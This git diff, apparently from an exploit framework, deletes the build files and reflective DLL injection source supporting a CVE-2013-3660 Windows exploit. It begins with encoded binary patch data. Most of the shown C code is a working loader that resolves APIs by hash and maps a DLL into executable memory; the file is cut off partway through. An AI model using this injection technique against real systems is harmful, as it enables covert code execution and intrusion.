zZ5nIJHcc|!WSV92no3QTrp2Zj(+X3-^nhuN>0#58reB$!Greqj&9vRL$F$${w&{J- zVbjN^W2Td)uT1^S1I@AKc=Hd;Ln&LM*=9~Nk2YtSCz_|2XP67k3(Skn_m~^ZKQljW zZZZGCe9Ao7GTl;USz)=?@`UA=mi?AbEm_w0s1sjUkN$1;!*_^h~ zwh6YIY|CuFvF)~X*}k$}nVg)Qn!E=2ZM45s|6 zl;V_%l-pA7PkA_{G3AAnEh+m_u5{(Q%3bfLo=CkeZFJg1%4S7cv^$AXnChP6UgCbh z{fzrX_jdO#cbi)V2c3vm|^mp)|&oey4)OQ$*^QwCLyJtTMX7XYWYH| zABkLJeb~Ce`Wx#`Yn%13wZnSMdT!FiNgm|!De7`R+agXuFld!aUB7ZY=X%Mtg}SuQ^|q_s zb<8y|H8%B<)XPb^HTAaC`>9nYQctH|mbM`60os<`X|0snkR8`Yk%8d+c8^w^3Y@ta(6U&qJ5_Q_x8{1 zUG~9_6vrq>v15_r4oc@`N0Z}CN0jq?=f%z+IEOl~b{d_@w4)wpHf`xm&NwMDrqH~AyE$92r&zz^6XPkplE>9^>c_d|X%DX9_rJPEc2A7_OFOyPt zq>f2jp4O1|tF#}uKbCw~aDEWDgf?L@HUAbCGT%~RnPGj>`mFVBt0}1{ zDc<%P{lu_jWAfDG(&U=t$C95;{#)_@dyajIz1{w?y`SS5$6?1vX9_7SrHy;V+3vh4 z<)mF5Pw1wJLQfZTvlHfwUi|JxE*s2(A6oY0soRpSCIOwY05iEopnw z4y3)6_LsC<+%l+6Cw(=>I-?Q!*lV5vpDQePS)#00(kr%Fk0pJP^jNaho^IcZ#D8f2 z++OWi?bz#>;(Rf+B~?B^V8p-6ly1s2Wzja}n(|H4OfyWgO@*c+(~Y*rY=5#nVxR3O zqJ4eKEzGFF{ZQkL#_7g>v_mdhpc_Nwzs&rU`E~Oib1QP%WxK|+&=4K>r!hC{r6sa?KbNnYrA!dt-s@`6tC+} zSA**r*PmUZQ;B$^Hb-(-@{5jU$9_kIbEMPk#Jq`n002GpMWzx{g~{r$J6zQ3rH*PwK(cL#c;TkER}{z8TV@)8f*Gqzy|OnPyFM(Z^?} z<wgCy)oVK0PKbUqX?J)h^@wC%v26wbO&OLR#?%>0V8*x1N6QdG}`8-97Gu?nCaw?xXa6r$xrwIit&D zg~1qYjHCA(W*lj>8ePUrW41BhIKx9omUjyA`chnR<%N1Cn3RVM99zS^&qn0@A@=H;}4tIcc8>&+X?&(pqaN74== zWrxj2&Bx8B%?3-fCC)O$GR!j4VnyOI={@pkc?vBh7N2FQWx1u!vdXf?vd+?I*=X6s zM|)e4#x`UzNPE;pTNG)HwZ>Z$tRt*OtDUh>mNl1_X*M!ifqd3j>#VEjeb!kUtsAYI ztWDMy>Q@_*8nkv=yR1r5WKwKWd{RQvh$Lf@Jt>`0QZBvHY}$qjMoKkFbxEs|)-dX9 zOxl>VDXA%`C8;&3EvY>znAE9`KO=3iws>2DZG_Eev)j^bS&Xcv*=E~{Y!$Y}wi;U< zJ2HBI-dyP*kk{8n=)iFk0 zle{juF?l0nv8Lpf?7<(yPXyz%bshWW}nS?wZgvG zUSqGL?_6VFXK%D`v~RLE*<0+b_BPtKpuLkeT5&`=Vj0aPI7ZN)+NpP0j$Fqy2W^L= z!m-#<x_3MI7iT)+nwpoEN8BB znsc_Z$XVfB?5uItIafK?IM+#i@8tdg5nbwG4K=AV)lRLM#^`u?+B#}VOIk23(mleR zyX)1 zNbMTrb{&%2i0p1edN(1zO-OJHGOYE4hfM8Aau8YWM4G#hXT@wVM inject.exe 1234 - -License -======= - -Licensed under a 3 clause BSD license, please see LICENSE.txt for details. diff --git a/external/source/exploits/cve-2013-3660/dll/reflective_dll.sln b/external/source/exploits/cve-2013-3660/dll/reflective_dll.sln deleted file mode 100755 index eff992d77c..0000000000 --- a/external/source/exploits/cve-2013-3660/dll/reflective_dll.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 10.00 -# Visual C++ Express 2008 -Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "reflective_dll", "reflective_dll.vcproj", "{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Win32 = Debug|Win32 - Release|Win32 = Release|Win32 - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|Win32.ActiveCfg = Release|Win32 - {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|Win32.Build.0 = Release|Win32 - {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|Win32.ActiveCfg = Release|Win32 - {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|Win32.Build.0 = Release|Win32 - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/external/source/exploits/cve-2013-3660/dll/reflective_dll.vcproj b/external/source/exploits/cve-2013-3660/dll/reflective_dll.vcproj deleted file mode 100755 index 33c6bd9515..0000000000 --- a/external/source/exploits/cve-2013-3660/dll/reflective_dll.vcproj +++ /dev/null @@ -1,357 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/external/source/exploits/cve-2013-3660/dll/reflective_dll.vcxproj b/external/source/exploits/cve-2013-3660/dll/reflective_dll.vcxproj deleted file mode 100755 index ed6cacb681..0000000000 --- a/external/source/exploits/cve-2013-3660/dll/reflective_dll.vcxproj +++ /dev/null @@ -1,266 +0,0 @@ - - - - - Debug - ARM - - - Debug - Win32 - - - Debug - x64 - - - Release - ARM - - - Release - Win32 - - - Release - x64 - - - - {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949} - reflective_dll - Win32Proj - - - - DynamicLibrary - v100 - MultiByte - true - - - DynamicLibrary - v110 - MultiByte - true - - - DynamicLibrary - v110 - Unicode - - - DynamicLibrary - v110 - Unicode - - - DynamicLibrary - v110 - MultiByte - false - - - DynamicLibrary - v110 - Unicode - - - - - - - - - - - - - - - - - - - - - - - - - <_ProjectFileVersion>11.0.50727.1 - - - $(SolutionDir)$(Configuration)\ - $(Configuration)\ - true - - - true - - - $(SolutionDir)$(Platform)\$(Configuration)\ - $(Platform)\$(Configuration)\ - true - - - $(SolutionDir)$(Configuration)\ - $(Configuration)\ - false - exploit - - - false - - - $(SolutionDir)$(Platform)\$(Configuration)\ - $(Platform)\$(Configuration)\ - false - - - - Disabled - WIN32;_DEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;%(PreprocessorDefinitions) - true - EnableFastChecks - MultiThreadedDebugDLL - - Level3 - EditAndContinue - - - true - Windows - MachineX86 - - - - - Disabled - WIN32;_DEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;%(PreprocessorDefinitions) - true - EnableFastChecks - MultiThreadedDebugDLL - - - Level3 - EditAndContinue - - - true - Windows - - - - - X64 - - - Disabled - WIN32;_DEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;%(PreprocessorDefinitions) - true - EnableFastChecks - MultiThreadedDebugDLL - - Level3 - ProgramDatabase - - - true - Windows - MachineX64 - - - - - MaxSpeed - OnlyExplicitInline - true - WIN32;NDEBUG;_WINDOWS;_USRDLL;WIN_X86;REFLECTIVE_DLL_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions) - MultiThreaded - true - - Level3 - ProgramDatabase - - - true - Windows - true - true - MachineX86 - - - - - - - - - MinSpace - OnlyExplicitInline - true - WIN32;NDEBUG;_WINDOWS;_USRDLL;WIN_ARM;REFLECTIVE_DLL_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions) - MultiThreaded - true - - - Level3 - ProgramDatabase - true - Default - - - true - Windows - true - true - $(OutDir)$(ProjectName).arm.dll - - - copy ..\ARM\Release\reflective_dll.arm.dll ..\bin\ - - - - - X64 - - - MaxSpeed - OnlyExplicitInline - true - Size - false - WIN64;NDEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;WIN_X64;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions) - MultiThreaded - true - - Level3 - ProgramDatabase - CompileAsCpp - - - $(OutDir)$(ProjectName).x64.dll - true - Windows - true - true - MachineX64 - - - copy $(OutDir)$(ProjectName).x64.dll ..\bin\ - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/external/source/exploits/cve-2013-3660/dll/reflective_dll.vcxproj.filters b/external/source/exploits/cve-2013-3660/dll/reflective_dll.vcxproj.filters deleted file mode 100755 index 15f7cbf646..0000000000 --- a/external/source/exploits/cve-2013-3660/dll/reflective_dll.vcxproj.filters +++ /dev/null @@ -1,32 +0,0 @@ - - - - - {4FC737F1-C7A5-4376-A066-2A32D752A2FF} - cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx - - - {93995380-89BD-4b04-88EB-625FBE52EBFB} - h;hpp;hxx;hm;inl;inc;xsd - - - - - Source Files - - - Source Files - - - - - Header Files - - - Header Files - - - Header Files - - - \ No newline at end of file diff --git a/external/source/exploits/cve-2013-3660/dll/src/ReflectiveDLLInjection.h b/external/source/exploits/cve-2013-3660/dll/src/ReflectiveDLLInjection.h deleted file mode 100755 index 5738497f5b..0000000000 --- a/external/source/exploits/cve-2013-3660/dll/src/ReflectiveDLLInjection.h +++ /dev/null @@ -1,51 +0,0 @@ -//===============================================================================================// -// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) -// All rights reserved. -// -// Redistribution and use in source and binary forms, with or without modification, are permitted -// provided that the following conditions are met: -// -// * Redistributions of source code must retain the above copyright notice, this list of -// conditions and the following disclaimer. -// -// * Redistributions in binary form must reproduce the above copyright notice, this list of -// conditions and the following disclaimer in the documentation and/or other materials provided -// with the distribution. -// -// * Neither the name of Harmony Security nor the names of its contributors may be used to -// endorse or promote products derived from this software without specific prior written permission. -// -// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR -// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND -// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR -// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR -// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR -// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR -// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE -// POSSIBILITY OF SUCH DAMAGE. -//===============================================================================================// -#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H -#define _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H -//===============================================================================================// -#define WIN32_LEAN_AND_MEAN -#include - -// we declare some common stuff in here... - -#define DLL_QUERY_HMODULE 6 - -#define DEREF( name )*(UINT_PTR *)(name) -#define DEREF_64( name )*(DWORD64 *)(name) -#define DEREF_32( name )*(DWORD *)(name) -#define DEREF_16( name )*(WORD *)(name) -#define DEREF_8( name )*(BYTE *)(name) - -typedef DWORD (WINAPI * REFLECTIVELOADER)( VOID ); -typedef BOOL (WINAPI * DLLMAIN)( HINSTANCE, DWORD, LPVOID ); - -#define DLLEXPORT __declspec( dllexport ) - -//===============================================================================================// -#endif -//===============================================================================================// diff --git a/external/source/exploits/cve-2013-3660/dll/src/ReflectiveLoader.c b/external/source/exploits/cve-2013-3660/dll/src/ReflectiveLoader.c deleted file mode 100755 index 594c0b8066..0000000000 --- a/external/source/exploits/cve-2013-3660/dll/src/ReflectiveLoader.c +++ /dev/null @@ -1,496 +0,0 @@ -//===============================================================================================// -// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) -// All rights reserved. -// -// Redistribution and use in source and binary forms, with or without modification, are permitted -// provided that the following conditions are met: -// -// * Redistributions of source code must retain the above copyright notice, this list of -// conditions and the following disclaimer. -// -// * Redistributions in binary form must reproduce the above copyright notice, this list of -// conditions and the following disclaimer in the documentation and/or other materials provided -// with the distribution. -// -// * Neither the name of Harmony Security nor the names of its contributors may be used to -// endorse or promote products derived from this software without specific prior written permission. -// -// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR -// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND -// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR -// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR -// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR -// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR -// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE -// POSSIBILITY OF SUCH DAMAGE. -//===============================================================================================// -#include "ReflectiveLoader.h" -//===============================================================================================// -// Our loader will set this to a pseudo correct HINSTANCE/HMODULE value -HINSTANCE hAppInstance = NULL; -//===============================================================================================// -#pragma intrinsic( _ReturnAddress ) -// This function can not be inlined by the compiler or we will not get the address we expect. Ideally -// this code will be compiled with the /O2 and /Ob1 switches. Bonus points if we could take advantage of -// RIP relative addressing in this instance but I dont believe we can do so with the compiler intrinsics -// available (and no inline asm available under x64). -__declspec(noinline) ULONG_PTR caller( VOID ) { return (ULONG_PTR)_ReturnAddress(); } -//===============================================================================================// - -// Note 1: If you want to have your own DllMain, define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN, -// otherwise the DllMain at the end of this file will be used. - -// Note 2: If you are injecting the DLL via LoadRemoteLibraryR, define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR, -// otherwise it is assumed you are calling the ReflectiveLoader via a stub. - -// This is our position independent reflective DLL loader/injector -#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR -DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader( LPVOID lpParameter ) -#else -DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader( VOID ) -#endif -{ - // the functions we need - LOADLIBRARYA pLoadLibraryA = NULL; - GETPROCADDRESS pGetProcAddress = NULL; - VIRTUALALLOC pVirtualAlloc = NULL; - NTFLUSHINSTRUCTIONCACHE pNtFlushInstructionCache = NULL; - - USHORT usCounter; - - // the initial location of this image in memory - ULONG_PTR uiLibraryAddress; - // the kernels base address and later this images newly loaded base address - ULONG_PTR uiBaseAddress; - - // variables for processing the kernels export table - ULONG_PTR uiAddressArray; - ULONG_PTR uiNameArray; - ULONG_PTR uiExportDir; - ULONG_PTR uiNameOrdinals; - DWORD dwHashValue; - - // variables for loading this image - ULONG_PTR uiHeaderValue; - ULONG_PTR uiValueA; - ULONG_PTR uiValueB; - ULONG_PTR uiValueC; - ULONG_PTR uiValueD; - ULONG_PTR uiValueE; - - // STEP 0: calculate our images current base address - - // we will start searching backwards from our callers return address. - uiLibraryAddress = caller(); - - // loop through memory backwards searching for our images base address - // we dont need SEH style search as we shouldnt generate any access violations with this - while( TRUE ) - { - if( ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE ) - { - uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; - // some x64 dll's can trigger a bogus signature (IMAGE_DOS_SIGNATURE == 'POP r10'), - // we sanity check the e_lfanew with an upper threshold value of 1024 to avoid problems. - if( uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024 ) - { - uiHeaderValue += uiLibraryAddress; - // break if we have found a valid MZ/PE header - if( ((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE ) - break; - } - } - uiLibraryAddress--; - } - - // STEP 1: process the kernels exports for the functions our loader needs... - - // get the Process Enviroment Block -#ifdef WIN_X64 - uiBaseAddress = __readgsqword( 0x60 ); -#else -#ifdef WIN_X86 - uiBaseAddress = __readfsdword( 0x30 ); -#else WIN_ARM - uiBaseAddress = *(DWORD *)( (BYTE *)_MoveFromCoprocessor( 15, 0, 13, 0, 2 ) + 0x30 ); -#endif -#endif - - // get the processes loaded modules. ref: http://msdn.microsoft.com/en-us/library/aa813708(VS.85).aspx - uiBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr; - - // get the first entry of the InMemoryOrder module list - uiValueA = (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink; - while( uiValueA ) - { - // get pointer to current modules name (unicode string) - uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer; - // set bCounter to the length for the loop - usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length; - // clear uiValueC which will store the hash of the module name - uiValueC = 0; - - // compute the hash of the module name... - do - { - uiValueC = ror( (DWORD)uiValueC ); - // normalize to uppercase if the madule name is in lowercase - if( *((BYTE *)uiValueB) >= 'a' ) - uiValueC += *((BYTE *)uiValueB) - 0x20; - else - uiValueC += *((BYTE *)uiValueB); - uiValueB++; - } while( --usCounter ); - - // compare the hash with that of kernel32.dll - if( (DWORD)uiValueC == KERNEL32DLL_HASH ) - { - // get this modules base address - uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase; - - // get the VA of the modules NT Header - uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew; - - // uiNameArray = the address of the modules export directory entry - uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; - - // get the VA of the export directory - uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress ); - - // get the VA for the array of name pointers - uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames ); - - // get the VA for the array of name ordinals - uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals ); - - usCounter = 3; - - // loop while we still have imports to find - while( usCounter > 0 ) - { - // compute the hash values for this function name - dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) ); - - // if we have found a function we want we get its virtual address - if( dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH || dwHashValue == VIRTUALALLOC_HASH ) - { - // get the VA for the array of addresses - uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions ); - - // use this functions name ordinal as an index into the array of name pointers - uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) ); - - // store this functions VA - if( dwHashValue == LOADLIBRARYA_HASH ) - pLoadLibraryA = (LOADLIBRARYA)( uiBaseAddress + DEREF_32( uiAddressArray ) ); - else if( dwHashValue == GETPROCADDRESS_HASH ) - pGetProcAddress = (GETPROCADDRESS)( uiBaseAddress + DEREF_32( uiAddressArray ) ); - else if( dwHashValue == VIRTUALALLOC_HASH ) - pVirtualAlloc = (VIRTUALALLOC)( uiBaseAddress + DEREF_32( uiAddressArray ) ); - - // decrement our counter - usCounter--; - } - - // get the next exported function name - uiNameArray += sizeof(DWORD); - - // get the next exported function name ordinal - uiNameOrdinals += sizeof(WORD); - } - } - else if( (DWORD)uiValueC == NTDLLDLL_HASH ) - { - // get this modules base address - uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase; - - // get the VA of the modules NT Header - uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew; - - // uiNameArray = the address of the modules export directory entry - uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; - - // get the VA of the export directory - uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress ); - - // get the VA for the array of name pointers - uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames ); - - // get the VA for the array of name ordinals - uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals ); - - usCounter = 1; - - // loop while we still have imports to find - while( usCounter > 0 ) - { - // compute the hash values for this function name - dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) ); - - // if we have found a function we want we get its virtual address - if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH ) - { - // get the VA for the array of addresses - uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions ); - - // use this functions name ordinal as an index into the array of name pointers - uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) ); - - // store this functions VA - if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH ) - pNtFlushInstructionCache = (NTFLUSHINSTRUCTIONCACHE)( uiBaseAddress + DEREF_32( uiAddressArray ) ); - - // decrement our counter - usCounter--; - } - - // get the next exported function name - uiNameArray += sizeof(DWORD); - - // get the next exported function name ordinal - uiNameOrdinals += sizeof(WORD); - } - } - - // we stop searching when we have found everything we need. - if( pLoadLibraryA && pGetProcAddress && pVirtualAlloc && pNtFlushInstructionCache ) - break; - - // get the next entry - uiValueA = DEREF( uiValueA ); - } - - // STEP 2: load our image into a new permanent location in memory... - - // get the VA of the NT Header for the PE to be loaded - uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; - - // allocate all the memory for the DLL to be loaded into. we can load at any address because we will - // relocate the image. Also zeros all memory and marks it as READ, WRITE and EXECUTE to avoid any problems. - uiBaseAddress = (ULONG_PTR)pVirtualAlloc( NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE ); - - // we must now copy over the headers - uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders; - uiValueB = uiLibraryAddress; - uiValueC = uiBaseAddress; - - while( uiValueA-- ) - *(BYTE *)uiValueC++ = *(BYTE *)uiValueB++; - - // STEP 3: load in all of our sections... - - // uiValueA = the VA of the first section - uiValueA = ( (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader ); - - // itterate through all sections, loading them into memory. - uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections; - while( uiValueE-- ) - { - // uiValueB is the VA for this section - uiValueB = ( uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress ); - - // uiValueC if the VA for this sections data - uiValueC = ( uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData ); - - // copy the section over - uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData; - - while( uiValueD-- ) - *(BYTE *)uiValueB++ = *(BYTE *)uiValueC++; - - // get the VA of the next section - uiValueA += sizeof( IMAGE_SECTION_HEADER ); - } - - // STEP 4: process our images import table... - - // uiValueB = the address of the import directory - uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ]; - - // we assume their is an import table to process - // uiValueC is the first entry in the import table - uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress ); - - // itterate through all imports - while( ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) - { - // use LoadLibraryA to load the imported module into memory - uiLibraryAddress = (ULONG_PTR)pLoadLibraryA( (LPCSTR)( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) ); - - // uiValueD = VA of the OriginalFirstThunk - uiValueD = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk ); - - // uiValueA = VA of the IAT (via first thunk not origionalfirstthunk) - uiValueA = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk ); - - // itterate through all imported functions, importing by ordinal if no name present - while( DEREF(uiValueA) ) - { - // sanity check uiValueD as some compilers only import by FirstThunk - if( uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG ) - { - // get the VA of the modules NT Header - uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; - - // uiNameArray = the address of the modules export directory entry - uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; - - // get the VA of the export directory - uiExportDir = ( uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress ); - - // get the VA for the array of addresses - uiAddressArray = ( uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions ); - - // use the import ordinal (- export ordinal base) as an index into the array of addresses - uiAddressArray += ( ( IMAGE_ORDINAL( ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal ) - ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->Base ) * sizeof(DWORD) ); - - // patch in the address for this imported function - DEREF(uiValueA) = ( uiLibraryAddress + DEREF_32(uiAddressArray) ); - } - else - { - // get the VA of this functions import by name struct - uiValueB = ( uiBaseAddress + DEREF(uiValueA) ); - - // use GetProcAddress and patch in the address for this imported function - DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress( (HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name ); - } - // get the next imported function - uiValueA += sizeof( ULONG_PTR ); - if( uiValueD ) - uiValueD += sizeof( ULONG_PTR ); - } - - // get the next import - uiValueC += sizeof( IMAGE_IMPORT_DESCRIPTOR ); - } - - // STEP 5: process all of our images relocations... - - // calculate the base address delta and perform relocations (even if we load at desired image base) - uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase; - - // uiValueB = the address of the relocation directory - uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_BASERELOC ]; - - // check if their are any relocations present - if( ((PIMAGE_DATA_DIRECTORY)uiValueB)->Size ) - { - // uiValueC is now the first entry (IMAGE_BASE_RELOCATION) - uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress ); - - // and we itterate through all entries... - while( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock ) - { - // uiValueA = the VA for this relocation block - uiValueA = ( uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress ); - - // uiValueB = number of entries in this relocation block - uiValueB = ( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION) ) / sizeof( IMAGE_RELOC ); - - // uiValueD is now the first entry in the current relocation block - uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION); - - // we itterate through all the entries in the current block... - while( uiValueB-- ) - { - // perform the relocation, skipping IMAGE_REL_BASED_ABSOLUTE as required. - // we dont use a switch statement to avoid the compiler building a jump table - // which would not be very position independent! - if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64 ) - *(ULONG_PTR *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress; - else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW ) - *(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress; -#ifdef WIN_ARM - // Note: On ARM, the compiler optimization /O2 seems to introduce an off by one issue, possibly 